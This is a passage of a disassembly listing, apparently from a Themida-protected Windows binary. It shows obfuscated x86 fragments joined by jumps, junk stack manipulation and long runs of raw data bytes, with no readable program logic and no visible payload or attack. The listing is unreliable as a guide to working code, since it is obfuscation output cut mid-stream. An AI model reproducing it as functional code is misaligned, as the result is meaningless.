		dd 7DAFB850h, 0E0C1799Fh, 0BCBE5604h, 217F9160h, 0EC815EF0h
		dd 4, 0BF243C89h, 6A163B37h, 3C8BF809h,	4C48324h, 2D06E0C1h
		dd 0E5DEEDBCh, 0DF9E9h
		db 0
; ---------------------------------------------------------------------------

loc_551E29:				; CODE XREF: Themida_:00551C06j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], esi
		push	edi
		push	18704709h
		pop	edi
		jmp	loc_5504EA
; ---------------------------------------------------------------------------
		dd 15B5D53h, 14335DEAh,	24143124h, 5C241433h, 9C240421h
		dd 0FFA14CE9h, 241C89FFh, 0FF435DE9h, 66D800FFh, 94E9595Bh
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551E67:				; CODE XREF: Themida_:005570D6j
		pop	esi
		and	edi, edx
		jmp	loc_557326
; ---------------------------------------------------------------------------
		db 8Bh
		dd 8CE92434h, 97FFFF2Eh, 2414F757h, 0E70DE95Fh,	2C89FFFFh
		dd 7A22BD24h, 0E58146CDh, 41CE127Dh, 7E80B951h,	0C1811EC6h
		dd 2F16448Fh, 4902E1C1h, 2B79C181h, 0CFE940A6h,	0BE000022h
		dd 836C3Eh, 4867E9h, 4EC8100h, 0E9000000h, 0FFFFD9A4h
		dd 0E9E68956h, 0FFFFABB8h, 0C15AD521h, 814508EDh, 0A8DA6DC5h
		dd 6E362D74h, 49E90DFFh
		db 0AAh, 2 dup(0FFh)
byte_551EDF	db 66h			; DATA XREF: Themida_:00542FC4o
		dd 6824048Bh, 578Ah, 54241489h,	0E92434FFh, 0FFFFD4AEh
		dd 747DC781h, 34FF6659h, 5DCAE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551F02:				; CODE XREF: Themida_:0054BFB3j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	esi
		push	edi
		mov	edi, 5DD3662Dh
		add	edi, 39E75569h
		push	eax
		mov	eax, 75A00806h
		or	edi, eax
		jmp	loc_545451
; ---------------------------------------------------------------------------
		dw 0BB53h
		dd 7AAA575Fh, 160DCB81h, 0F3814485h, 79C06DA7h,	668FE943h
		dd 0A668FFFFh, 8900001Eh, 68662404h, 78E9683Dh,	0B5000024h
		dd 8EDC0A3h, 5206EDC0h,	42E987B6h, 5D000054h, 5C24048Fh
		dd 0C8AF0F66h, 0E99C5166h, 0FFFF1323h
; ---------------------------------------------------------------------------

loc_551F78:				; CODE XREF: Themida_:005537D0j
		push	edx
		jmp	loc_553754
; ---------------------------------------------------------------------------
		dw 8E68h
		dd 89000070h, 0E3B82404h, 8362532Fh, 0E63501E8h, 8162532Fh
		dd 5E4F3FEFh, 81C70122h, 5E4F3FC7h, 24048B22h, 6804C483h
		dd 293Fh, 4BAFE9h, 2434FF00h, 0E924048Bh, 0FFFF63F3h
; ---------------------------------------------------------------------------

loc_551FBC:				; CODE XREF: Themida_:0055776Ej
		mov	esi, edx
		pop	edx
		push	esi
		xchg	ebp, [esp]
		jmp	loc_54E462
; ---------------------------------------------------------------------------
		dd 2904C483h, 0C335BD9h, 240C3124h, 0E9240C33h,	630Ah
		dd 4EE8359h, 8B243487h,	3C892424h, 0E1E95424h, 59FFFF17h
		dd 585FFD89h, 74F5815Ah, 5527581Eh, 4410E9h, 5BD90100h
		dd 8159CE89h, 51F751C6h, 5EF30187h, 0C3BB5352h,	0F72D3351h
		dd 0D568E9DBh, 8F5AFFFFh, 248B2404h, 0E9C33124h, 0FFFF997Ch
; ---------------------------------------------------------------------------

loc_55202C:				; CODE XREF: Themida_:00547943j
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	9D0h
		mov	[esp], ebx
		jmp	loc_547AB9
; ---------------------------------------------------------------------------
		db 0B9h, 3Fh, 0D0h
		dd 0CE318A9Dh, 1879E9h,	7399B900h, 0DA054F2Eh, 29455C11h
		dd 11DA2DC8h, 0E959455Ch, 0FFFFB06Bh, 42474FFh,	24048F5Ah
		dd 5118E95Ch, 0EC83FFFFh, 243C8904h, 8B79B068h,	0C7815F43h
		dd 0FFFFFFFFh, 0D6F7F787h, 66E9F731h
		db 70h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552097:				; CODE XREF: Themida_:0055279Ej
		pop	edx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_54329B
; ---------------------------------------------------------------------------
		db 2Dh
		dd 562A5494h, 0E505E0D1h, 561E5F15h, 480FC6BEh,	5EE811Fh
		dd 814FF74Dh, 933030C6h, 5B64E962h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5520C6:				; CODE XREF: Themida_:0054619Ej
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
		add	esp, 4
		neg	edi
		push	edi
		xchg	eax, [esp]
		not	eax
		xchg	eax, [esp]
		mov	edi, [esp]
		push	eax
		jmp	loc_54F7AF
; ---------------------------------------------------------------------------
		db 1, 0D0h, 5Ah
		dd 0CFFE9h
		db 0
; ---------------------------------------------------------------------------

loc_5520F1:				; CODE XREF: Themida_:00551C0Dj
		add	bl, 79h
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_5444DE
; ---------------------------------------------------------------------------
		dw 0EB81h
		dd 5E5B636Ah, 0FFCBC8E9h, 0FF575AFFh, 5F042474h, 8B24048Fh
		dd 0E3682424h, 8900001Dh, 35E9241Ch
		db 0E0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552127:				; CODE XREF: Themida_:0054448Cj
		jz	loc_55506C
		push	ebx
		push	1Ch
		jmp	loc_551CB6
; ---------------------------------------------------------------------------
		dd 348BF089h, 4C48324h,	637068h, 24048900h, 0E924148Bh
		dd 0FFFFA537h
dword_552150	dd 8B2434FFh, 0C481240Ch, 4, 246EE9h ; DATA XREF: Themida_:005431C4o
		db 0
; ---------------------------------------------------------------------------

loc_552161:				; CODE XREF: Themida_:00549918j
		push	esi
		mov	esi, esp
		jmp	loc_547E4F
; ---------------------------------------------------------------------------

loc_552169:				; CODE XREF: Themida_:0055806Dj
		mov	[esp], edx
		push	esp
		pop	edx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 10664C35h
		push	ebx
		mov	ebx, 8DD019Dh
		jmp	loc_556D00
; ---------------------------------------------------------------------------
		dd 241C8966h, 0FF2638E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55218D:				; CODE XREF: Themida_:00543C16j
		pop	dword ptr [esp]
		jmp	loc_5533DD
; ---------------------------------------------------------------------------

loc_552195:				; CODE XREF: Themida_:0054C682j
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_55736C
		push	ebx
		mov	ebx, 1Ch
		add	ebx, edi
		push	0C5h
		mov	[esp], edx
		mov	edx, 0
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5496FE
; ---------------------------------------------------------------------------

loc_5521C2:				; CODE XREF: Themida_:00557FCBj
		push	edx
		jmp	loc_54B6A0
; ---------------------------------------------------------------------------
		dd 5266FEB5h, 0CAFEEA88h, 565468h, 4E3CE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5521DA:				; CODE XREF: Themida_:0054FE84j
		add	ecx, ebp
		sub	ecx, 4C8C7342h
		pop	ebp
		push	esi
		mov	esi, 217E175Ch
		add	ecx, esi
		pop	esi
		add	ecx, ebp
		jmp	loc_5549C6
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C3300h, 0FFF0F9E9h,	0E95756FFh, 0FFFFA666h
		dd 592434FFh, 1F76E9h, 3C8B5400h, 4C48124h, 81000000h
		dd 4C7h, 4C78100h, 87000000h, 248B243Ch, 2584E924h, 0FDBE0000h
		dd 0D12C667Bh, 0F6EE81E6h, 0E958CCF7h, 47CDh, 224AF3BDh
		dd 5DE83108h, 48BC301h,	8442E924h, 0FBB8FFFFh, 8949C026h
		dd 24048BC2h, 0BD04C483h, 0C029393Bh, 456968h, 0E7C5E900h
		dd 0EF01FFFFh, 243C335Dh, 0FFB534E9h, 42DFFh, 4870000h
		dd 1C895C24h, 339FE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55228E:				; CODE XREF: Themida_:0054FF2Dj
		shr	esi, 5
		sub	esi, 1809AE6h
		jmp	loc_54F52D
; ---------------------------------------------------------------------------

loc_55229C:				; CODE XREF: Themida_:0054B198j
		shr	edx, 1
		cmp	eax, edx
		jz	loc_548692
		push	534Eh
		mov	[esp], edx
		push	ebx
		mov	ebx, esp
		push	esi
		mov	esi, 75095F6Dh
		shl	esi, 4
		xor	esi, 752E6A2Dh
		push	edi
		push	2591h
		jmp	loc_546DF3
; ---------------------------------------------------------------------------
		db 89h
		dd 5954240Ch, 81595451h, 4C1h, 0A1BB5300h, 0C17DEB7Bh
		dd 0D3F705EBh, 71BCEB81h, 0E38168ABh, 28ED1990h, 0FF5F33E9h
		db 0FFh
byte_5522F5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005430E0o
aHl		db '$h▀*',0
		align 2
		dw 1489h
		dd 17B36824h, 4E90000h,	8BFFFFC4h, 0C4812404h, 4, 0FFB3B8E9h
		dd 24048BFFh, 4C481h, 0EC810000h, 4, 0B9240C89h, 1A606B60h
		dd 7EBCF181h, 20E90609h, 1FFFFEFh, 88E958C3h, 8BFFFFA8h
		dd 0C483242Ch, 0EA68E904h, 0F681FFFFh, 6A45564Fh, 0BECDBF57h
		dd 6EE9E788h, 2800004Fh, 5A9504D0h, 0C8FEC0FEh,	0C5287F34h
		dd 0F3B35358h, 0A7C380h, 4EE95BDDh
		db 4Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55237B:				; CODE XREF: Themida_:00544C82j
		add	bl, 0C2h
		pop	edx
		sub	bl, 0EDh
		add	ch, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		add	ch, 0ACh
		push	eax
		jmp	loc_54ED7E
; ---------------------------------------------------------------------------
		db 83h
		dd 0FF042404h, 1C8B2434h, 4C48324h, 0FF7CE9E9h,	62E95BFFh
		dd 0BFFFFF63h, 3A64C8D8h, 34FFFE01h, 0E6685F24h, 8900005Ch
		dd 0E2892414h, 4C281h, 0C2830000h, 24148704h, 7E9815Ch
		dd 81772114h, 51BFAC1h,	81F1011Dh, 51BFAE9h, 23BB531Dh
		dd 0C1727224h, 376805EBh, 0E9000008h, 0FFFF84D4h, 0E958C529h
		dd 0FFFFFE72h, 511EF81h, 0C8B67AFh, 263EE924h, 0C87FFFFh
		dd 0EC815C24h, 4, 0FF9681E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55241D:				; CODE XREF: Themida_:005454EBj
		push	ebx
		mov	ebx, 10E15D29h
		inc	ebx
		jmp	loc_54ABB9
; ---------------------------------------------------------------------------
		db 2Dh,	2Eh, 6Bh
		dd 34FF05D6h, 89535B24h, 4C381E3h, 50000000h, 0FF7258E9h
		dd 246C01FFh, 24448104h, 0EB7A0004h, 242C8B38h,	0E9E18951h
		dd 0FFFF6D06h
; ---------------------------------------------------------------------------

loc_552458:				; CODE XREF: Themida_:0054B328j
		xchg	edx, [esp]
		pop	edx
		sub	edx, 5C7A5D59h
		shr	edx, 2
		inc	edx
		sub	edx, 0B9A67AE9h
		jmp	loc_555C9B
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 40B42404h, 0D007E4C0h, 2084E9ECh,	0B850FFFFh
		dd 0F7B612Eh, 7B6132BFh, 6BEF810Fh, 29537024h, 6BC781C7h
		dd 58537024h, 815FF901h, 4E9h, 0FF60E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5524AE:				; CODE XREF: Themida_:00547569j
		add	[esp+8], ebx
		jmp	loc_54CE58
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0E9CB8166h, 0EB816646h, 0A3E9FFFFh, 0C1000048h, 0E5C102EDh
		dd 64F58105h, 816C2423h, 0A0031AEDh, 5DE90105h,	0A16CFD2Dh
		dd 5C8015Ch, 5CA16CFDh,	32CEE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5524EE:				; CODE XREF: Themida_:00543F82j
		push	esi
		jmp	loc_547A3E
; ---------------------------------------------------------------------------

loc_5524F4:				; CODE XREF: Themida_:0054C4B5j
		add	ebp, 37532C18h
		sub	ebp, ebx
		sub	ebp, 37532C18h
		mov	ebx, [esp]
		add	esp, 4
		xchg	ebp, [esp]
		jmp	loc_550C70
; ---------------------------------------------------------------------------
		dd 8023C380h, 5066FEEBh, 0E9DDB753h, 0FFFF2DCDh, 0A8F5F4BAh
		dd 0E9FA018Ch, 0FFFF891Bh
; ---------------------------------------------------------------------------

loc_55252C:				; CODE XREF: Themida_:005481D5j
		shr	cl, 3
		or	cl, 0D5h
		jmp	loc_547FC8
; ---------------------------------------------------------------------------

loc_552537:				; CODE XREF: Themida_:005577CDj
		not	esi
		jmp	loc_54E84F
; ---------------------------------------------------------------------------
		dw 0E8C1h
		dd 7EA7E908h, 0D5F7FFFFh, 0FF7D0BE9h, 242489FFh, 4240483h
		dd 83242C8Bh, 0E95204C4h, 48E2h, 9B35352h, 515BDA88h, 0E9A5B753h
		dd 0FFFF8821h, 4F6FC325h, 0F377E948h, 0E981FFFFh, 364460F0h
		dd 665CEE81h, 0C5E97C6Ch
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55258B:				; CODE XREF: Themida_:005566B0j
		xor	edx, [esp]
		mov	esp, [esp]
		jmp	loc_54F505
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 59241489h, 5524148Bh, 2136E9h, 0EFE38100h, 815A6639h
		dd 93C1ACBh, 0DFF38157h, 1570D3Dh, 2C335BDDh, 242C3124h
		dd 0FF8646E9h, 0ABEA81FFh, 59495F64h, 4EC8153h,	89000000h
		dd 0EC83240Ch, 1551E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5525E2:				; CODE XREF: Themida_:0054BC95j
		pop	edi
		add	esi, edx
		pop	edx
		jmp	loc_54E96F
; ---------------------------------------------------------------------------
		db 56h
		dd 0C6815E54h, 4, 8704C683h, 248B2434h,	5F095F24h, 9426E91Ch
		dd 0C8BFFFFh, 91C1E924h, 0F781FFFFh, 7D246FA2h,	0E781D7F7h
		dd 16F34B48h, 1453F781h, 0FD31086Ch, 0E9EF315Fh, 0FFFFE281h
		dd 81E78957h, 4C7h, 0FBB9E900h,	489FFFFh, 48B5424h, 4C48324h
		dd 390EE9h
		db 0
; ---------------------------------------------------------------------------

loc_552649:				; CODE XREF: Themida_:00553D0Aj
		push	dword ptr [esp]
		pop	edx
		push	7738h
		mov	[esp], edx
		push	esp
		pop	edx
		sub	esp, 4
		jmp	loc_553E8E
; ---------------------------------------------------------------------------

loc_55265F:				; CODE XREF: Themida_:0054EBC9j
		inc	edx
		neg	edx
		shr	edx, 3
		jmp	loc_54A3BD
; ---------------------------------------------------------------------------
		dw 0EC83h
		dd 14896602h, 25E95124h, 59FFFFA7h, 68665251h, 89E954B4h
		dd 57FFFF65h, 2E10E9h, 721B6800h, 3C890000h, 815F5424h
		dd 4C7h, 4EC8300h, 0FFF5CCE9h, 242C89FFh, 2BDh,	4AA5E900h
		dd 0EC810000h, 4, 0FFA4E8E9h, 4B7E0DFFh, 0D4032D8h, 265315h
		dd 0EC4C5D05h, 70F9355Eh, 0BB53BEEFh, 7A657CA0h, 24DDC681h
		dd 0DE295C29h, 0FF8AC8E9h, 45CD81FFh, 8116054Eh, 2DA310C5h
		dd 5DEA2952h, 815AD309h, 9F641BCBh, 319FE938h
		db 2 dup(0FFh)
word_5526FE	dw 77FFh		; DATA XREF: Themida_:00543170o
		dd 59669D1Ch, 9C2414D2h, 0FF0B8EE9h, 2DEB81FFh,	56001464h
		dd 107381BEh, 81DEF747h, 429E0DF6h, 5EF001B6h, 0FFCC96E9h
		dd 240489FFh, 4B8h, 58C20100h, 0FBE5651h, 5224357Dh, 0B431C468h
		dd 0D2F75A1Bh, 0EDEA81h, 0F2817898h, 0E24787Eh,	0FF805DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552755:				; CODE XREF: Themida_:00556099j
		pop	esi
		add	ecx, 4C671BE8h
		dec	ecx
		push	47B7h
		mov	[esp], ebx
		mov	ebx, 77C1FC1h
		shl	ebx, 3
		jmp	loc_54E093
; ---------------------------------------------------------------------------

loc_552772:				; CODE XREF: Themida_:0055837Ej
		pop	cx
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_54329B
; ---------------------------------------------------------------------------
		dd 815AD589h, 6F04246Ch, 294D135Ah, 0E904246Ch,	0FFFF9A76h
; ---------------------------------------------------------------------------

loc_552794:				; CODE XREF: Themida_:005563DDj
		sub	esp, 4
		mov	[esp], edx
		push	dword ptr [esp+4]
		jmp	loc_552097
; ---------------------------------------------------------------------------
		db 0B9h
		dd 1D4C6B4Ch, 3E1C141h,	19D0C181h, 826865B8h, 89000002h
		dd 95BE2434h, 814B215Fh, 2F2FE0F6h, 0C5CBE947h,	0C381FFFFh
		dd 3AFFE2FFh, 3E12EE81h, 0BD55644Eh, 0F577E1h, 0CD81DDF7h
		dd 1CFB346Dh, 0FF668FE9h, 0C8295EFFh, 12D59h, 51550000h
		dd 5A4A5BB9h, 51B6BD67h, 0CD018E5Eh, 5DE80159h,	67E9C201h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_55280B:				; CODE XREF: Themida_:005451BBj
		mov	edi, 4B3E21E5h
		sub	esi, edi
		pop	edi
		mov	eax, [esp]
		jmp	loc_54833A
; ---------------------------------------------------------------------------
		db 81h
		dd 4C1h, 37BE5600h, 46174261h, 4604E6C1h, 60AEBF57h, 0CF811973h
		dd 66897E66h, 8103E7C1h, 0D3F118EFh, 5FFE318Fh,	7D94BB53h
		dd 0D3F7178Dh, 814BD3F7h, 0A36846F3h, 5A81E913h, 0EC81FFFFh
		dd 4, 0BA241489h, 19B22867h, 8103EAC1h,	28362BC2h, 0D2EA8120h
		dd 0E9FE7953h, 0FFFFF86Dh, 6C0BA52h, 0D6312F6Bh, 549BE9h
		dd 0BA525B00h, 0C26DC159h, 295AD029h, 474758C7h, 0CD98C781h
		dd 0FD01DA4Eh, 4C5835Fh, 0FF636CE9h, 0E9C801FFh, 2758h
		dd 4EC6815Bh, 9F9D519h,	24348BF5h, 4C481h, 0EC830000h
		dd 241C8904h, 77FE58BBh, 5BDD31EFh, 2C8BEB01h, 4C48324h
		dd 8704C383h, 248B241Ch, 0E9545224h, 0FFFF4B26h
dword_5528E8	dd 0D5468h, 24348900h, 3C75E952h, 0E95E0000h, 0FFFF0EB1h
					; DATA XREF: Themida_:00542FCCo
		dd 6FE3F581h, 34E95EAFh
		db 2Bh,	2 dup(0FFh)
byte_552907	db 8Bh			; DATA XREF: Themida_:0054309Co
		dd 68572404h, 3266h, 0FFDE05E9h, 0E9BCB5FFh, 0FFFF5015h
		dd 0FBE9F801h, 0B1FFFFB2h, 3082B31Dh, 0C38059CBh, 0C3B050DEh
		dd 0C0FED8F6h, 662CE124h, 0EA80082Ch, 53C28021h, 0FFD78AE9h
		dd 48F5BFFh, 24895C24h,	48EFE924h, 335A0000h, 0C31240Ch
		dd 240C3324h, 2404895Ch, 3FC68h, 0C7815800h, 223E4601h
		dd 0FFCB03E9h
		db 0FFh
byte_552971	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:00543128o
		dd 0D359669Dh, 0E99C2414h, 0FFFF091Bh
; ---------------------------------------------------------------------------

loc_552980:				; CODE XREF: Themida_:00548D02j
		add	esp, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	ebx
		push	esp
		push	dword ptr [esp]
		jmp	loc_543CBE
; ---------------------------------------------------------------------------
		db 68h
		dd 2, 8BDF015Bh, 0C483241Ch, 74FF5704h,	8F5F0424h, 9AE92404h
		dd 5EFFFF2Dh, 7868h, 241C8900h,	120B850h, 0D8F73F77h, 0E948D0F7h
		dd 0FFFF94ABh, 4C481h, 0B6E90000h, 81000011h, 9BBFFCEFh
		dd 74C581EFh, 1040776h,	74ED81FDh, 5F040776h, 4C581h, 2C870000h
		dd 24248B24h, 4C281h, 0C2810000h, 4, 5C241487h,	0FF0882E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552A19:				; CODE XREF: Themida_:00551CBDj
		add	ebx, 5D642A83h
		sub	ebx, 541211E1h
		sub	ebx, 3B7831E9h
		add	ebx, edi
		push	2DCAh
		mov	[esp], edx
		push	ecx
		jmp	loc_557D39
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 0AA22E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552A46:				; CODE XREF: Themida_:00547604j
		push	4
		pop	edi
		add	ebx, 20457037h
		jmp	loc_5582C2
; ---------------------------------------------------------------------------

loc_552A57:				; CODE XREF: Themida_:00549092j
		add	edi, ebp
		pop	ebp
		jmp	loc_54A77C
; ---------------------------------------------------------------------------
		db 0BDh
		dd 12A15E0Ch, 8246C01h,	0F87E9h, 5EF02900h, 0FF7E3EE9h
		dd 6F6855FFh, 5D691705h, 0E904EC83h, 0FFFFB874h
; ---------------------------------------------------------------------------

loc_552A84:				; CODE XREF: Themida_:00552E93j
		add	ebx, edx
		pop	edx
		jmp	loc_5435E3
; ---------------------------------------------------------------------------
		dd 974639BAh, 5EF2315Bh, 56D7E281h, 5E963E1h, 81FFFF42h
		dd 4C4h, 805FE900h, 431FFFFh, 4691E924h, 0B8500000h, 0F61198Eh
		dd 0F704E0C1h, 786D0DD0h, 0D0F70EE4h, 0E904E8C1h, 2BF9h
; ---------------------------------------------------------------------------

loc_552ACC:				; CODE XREF: Themida_:00544FECj
		sub	edi, 0ACBE48A0h
		add	edi, 22C81985h
		inc	edi
		and	edi, 1FC54D92h
		xor	edi, 8961D1F7h
		xor	ecx, edi
		pop	edi
		push	edi
		mov	edi, ecx
		mov	edx, edi
		pop	edi
		mov	ecx, [esp]
		add	esp, 4
		neg	edx
		jmp	loc_54AFA6
; ---------------------------------------------------------------------------
aAss		db 'AИ▒/',0
		align 4
		dd 4244481h, 69D96AD5h,	534BBA52h, 5429604Fh, 0E95A0824h
		dd 0FFFF4D6Fh, 81D50159h, 3F212DEDh, 8617E919h
		db 2 dup(0FFh)
word_552B2A	dw 0E9ADh		; DATA XREF: Themida_:005431A8o
		dd 0FFFFB9B5h, 8B243487h, 4D32424h, 5CE99C24h, 83FFFF07h
		dd 148704C2h, 0DD295C24h, 2C3AE9h, 34FF5C00h, 2434FF24h
		dd 4C48158h, 83000000h,	27E904C4h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552B63:				; CODE XREF: Themida_:00551B73j
		add	ebx, 4
		add	ebx, 4
		xor	ebx, [esp]
		jmp	loc_550956
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 0FFFF08D7h
; ---------------------------------------------------------------------------

loc_552B7C:				; CODE XREF: Themida_:0054D2D3j
		push	esp
		mov	edx, [esp]
		jmp	loc_55661A
; ---------------------------------------------------------------------------

loc_552B85:				; CODE XREF: Themida_:00551A1Ej
		push	dword ptr [esp]
		pop	ecx
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		jmp	loc_54831F
; ---------------------------------------------------------------------------
		db 89h
		dd 5BB62414h, 0FF60AAE9h, 581D68FFh, 0C890000h,	78B9B924h
		dd 0CA29100Bh, 81240C8Bh, 4C4h,	0A5E28100h, 5306DF54h
		dd 0C57F01BBh, 5BDA29F9h, 0E527652Dh, 33AD2D24h, 0D0016FD8h
		dd 0FF6995E9h, 55D7F7FFh, 0E9DDFBBDh, 0E9EF29FFh, 1FC8h
		dd 2B951h, 0C7810000h, 67AF0511h, 0FDE9CF01h
		db 0F7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552C03:				; CODE XREF: Themida_:00543C3Cj
		add	edi, 9BF6AEDEh
		sub	eax, edi
		jmp	loc_54BE95
; ---------------------------------------------------------------------------
		dd 89D68956h, 15A5EF1h,	1C8759CBh, 1ECCE924h, 0C1010000h
		dd 0E924048Bh, 1548h
; ---------------------------------------------------------------------------

loc_552C2C:				; CODE XREF: Themida_:0054BF5Cj
		and	ebp, 679F547Fh
		push	ecx
		jmp	loc_557690
; ---------------------------------------------------------------------------
		dd 0CB12ED81h, 6EE9DAB9h, 0C1000011h, 0BF5706EDh, 7CB96798h
		dd 2911E9h, 3E3C100h, 3025EB81h, 0EBC17329h, 21F26804h
		dd 4EE90000h
		db 0F1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_552C67:				; CODE XREF: Themida_:0054C340j
		push	dword ptr [esp]
		pop	edx
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	edx
		jmp	loc_556BB1
; ---------------------------------------------------------------------------
		dw 0F281h
		dd 0EE1CC496h, 28C2C181h, 0D129655Ch, 28C2E981h, 148B655Ch
		dd 4C48124h, 0E9000000h, 0FFFFF147h, 5251C6BEh,	5EF3013Eh
		dd 0E95BD989h, 0FFFF111Dh, 8051B753h, 0FA303BF7h, 0FFB7FEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552CC9:				; CODE XREF: Themida_:0055502Fj
		mov	edi, 5522079Dh
		xor	[esp+4], edi
		jmp	loc_54DFB5
; ---------------------------------------------------------------------------

loc_552CD7:				; CODE XREF: Themida_:00545CE1j
		pop	ebx
		add	edi, edx
		pop	edx
		sub	ebp, 2AB302A1h
		add	ebp, edi
		add	ebp, 2AB302A1h
		pop	edi
		add	ebp, 4
		jmp	loc_553DF4
; ---------------------------------------------------------------------------
		dw 5866h
		dd 6605EEC0h, 63B25253h, 0D3F6DA86h, 2B7AE9h, 0D0F28100h
		dd 0F7482B41h, 6E2C1DAh, 0DA27EA81h, 0D1316591h, 42C1815Ah
		dd 132F040h, 240C8BCEh,	5304C483h, 2BBh, 0E8EE8100h, 8115F262h
		dd 91015EEEh, 0DCC68178h, 1605F3Fh, 0DCEE81DEh,	81605F3Fh
		dd 91015EC6h, 0E8BF5778h, 115F262h, 1C8B5FFEh, 3AE8E924h
		dd 0F7890000h, 0FF8A33E9h, 2434FFFFh, 4C4815Eh,	81000000h
		dd 2C1h, 3436E900h, 805C0000h, 63E968F6h, 5E000035h, 8B24048Fh
		dd 6E92424h, 5DFFFF51h,	12EFC181h, 0D1292F36h, 965E9h
		dd 81D72900h, 6F6A0BEFh, 55E9E966h, 0C4810000h,	4, 6807E6C1h
		dd 7183h, 0FF11E5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552DBD:				; CODE XREF: Themida_:00548CD0j
		mov	esi, 4
		add	ebx, esi
		pop	esi
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	ebx
		mov	ebx, esp
		jmp	loc_551875
; ---------------------------------------------------------------------------
		dd 0B1EE81h, 0D1E909D9h, 83FFFF05h, 0E95104C4h,	0FFFF70C0h
		dd 7757E95Ah, 1C89FFFFh, 6EE95224h, 68FFFF0Ch, 4168h, 83242489h
		dd 5B042404h, 4BA52h, 53510000h, 81E78957h, 4C7h, 4EF8100h
		dd 87000000h, 895C243Ch, 0E9E92404h, 0B6FFFF68h, 0E9F02824h
		dd 873h
; ---------------------------------------------------------------------------

loc_552E38:				; CODE XREF: Themida_:0055034Fj
		or	esi, 242C747Fh
		jmp	loc_544301
; ---------------------------------------------------------------------------
		db 87h
		dd 685C241Ch, 79EDh, 0FF7DB1E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_552E51:				; CODE XREF: Themida_:0054A4C0j
		push	ecx
		push	7260h
		mov	[esp], ebx
		mov	ebx, 2A0C6F1Fh
		mov	ecx, 0E5A8C73Ah
		add	ecx, ebx
		pop	ebx
		dec	ecx
		push	7E11h
		mov	[esp], edi
		jmp	loc_556A19
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 81240489h, 4ECh, 1F8EE900h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_552E86:				; CODE XREF: Themida_:00549330j
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_552A84
; ---------------------------------------------------------------------------

loc_552E98:				; CODE XREF: Themida_:0054BE45j
		push	esp
		pop	ecx
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		sub	esp, 4
		mov	[esp], ebx
		push	ebp
		mov	ebp, 6D64B75h
		jmp	loc_555714
; ---------------------------------------------------------------------------
		dd 0DAADE981h, 0CE29700Bh, 5EF38959h, 1C8BD801h, 4C48324h
		dd 0E9240433h, 0FFFFA5B5h, 4240483h, 0FF2F97E9h, 25BBBFFFh
		dd 0CF8179D5h, 14FB7735h, 814FD7F7h, 0C093B7C7h, 5FFE09C9h
		dd 3529E953h
		db 2 dup(0)
word_552EF6	dw 8B66h		; DATA XREF: Themida_:00543084o
		dd 81502404h, 4ECh, 24248900h, 0FF9071E9h, 3AF68FFh, 34890000h
		dd 2474FF24h, 0FE69E904h, 0D028FFFFh, 0E960045Ah, 0FFFFF63Ch
		dd 4BAh, 0E9D08900h, 0FFFFD53Ch
; ---------------------------------------------------------------------------

loc_552F30:				; CODE XREF: Themida_:0054645Bj
		dec	esi
		xchg	esi, ebx
		not	ebx
		shl	ebx, 8
		shr	ebx, 7
		add	ebx, 0FDB7118Ah
		add	edi, ebx
